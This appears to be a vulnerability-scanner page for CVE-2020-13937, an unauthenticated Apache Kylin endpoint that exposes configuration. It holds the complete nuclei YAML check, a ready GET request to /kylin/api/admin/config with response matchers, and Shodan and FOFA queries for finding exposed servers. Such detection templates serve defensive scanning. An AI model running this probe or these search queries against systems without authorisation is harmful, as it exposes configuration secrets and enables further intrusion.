Apache Kylin - Exposed Configuration File

mediumseverity

5.3CVSS score

78.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1, 3.0.2, 3.1.0, 4.0.0-alpha have one REST API which exposed Kylin's configuration information without authentication.

Impact

An attacker can gain sensitive information from the exposed configuration file, potentially leading to further attacks.

Fix

Secure the configuration file by restricting access permissions and implementing proper access controls.

How to confirm it

Send: GET {{BaseURL}}/kylin/api/admin/config
Positive when: contains in header "application/json" AND contains "config" and "kylin.metadata.url" AND status 200

Run it with nuclei: nuclei -id CVE-2020-13937 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-13937

info:
  name: Apache Kylin - Exposed Configuration File
  author: pikpikcu
  severity: medium
  description: Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1,  3.0.2, 3.1.0, 4.0.0-alpha have one REST API which exposed Kylin's configuration information without authentication.
  impact: |
    An attacker can gain sensitive information from the exposed configuration file, potentially leading to further attacks.
  remediation: |
    Secure the configuration file by restricting access permissions and implementing proper access controls.
  reference:
    - https://kylin.apache.org/docs/release_notes.html
    - https://s.tencent.com/research/bsafe/1156.html
    - https://lists.apache.org/thread.html/rc592e0dcee5a2615f1d9522af30ef1822c1f863d5e05e7da9d1e57f4%40%3Cuser.kylin.apache.org%3E
    - https://github.com/Al1ex/CVE-2020-13937
    - https://github.com/HimmelAward/Goby_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-13937
    cwe-id: CWE-922
    epss-score: 0.78331
    epss-percentile: 0.99584
    cpe: cpe:2.3:a:apache:kylin:2.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: kylin
    shodan-query: http.favicon.hash:-186961397
    fofa-query: icon_hash=-186961397
  tags: cve,cve2020,apache,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/kylin/api/admin/config"

    headers:
      Content-Type: "application/json"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: word
        part: body
        words:
          - config
          - kylin.metadata.url
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from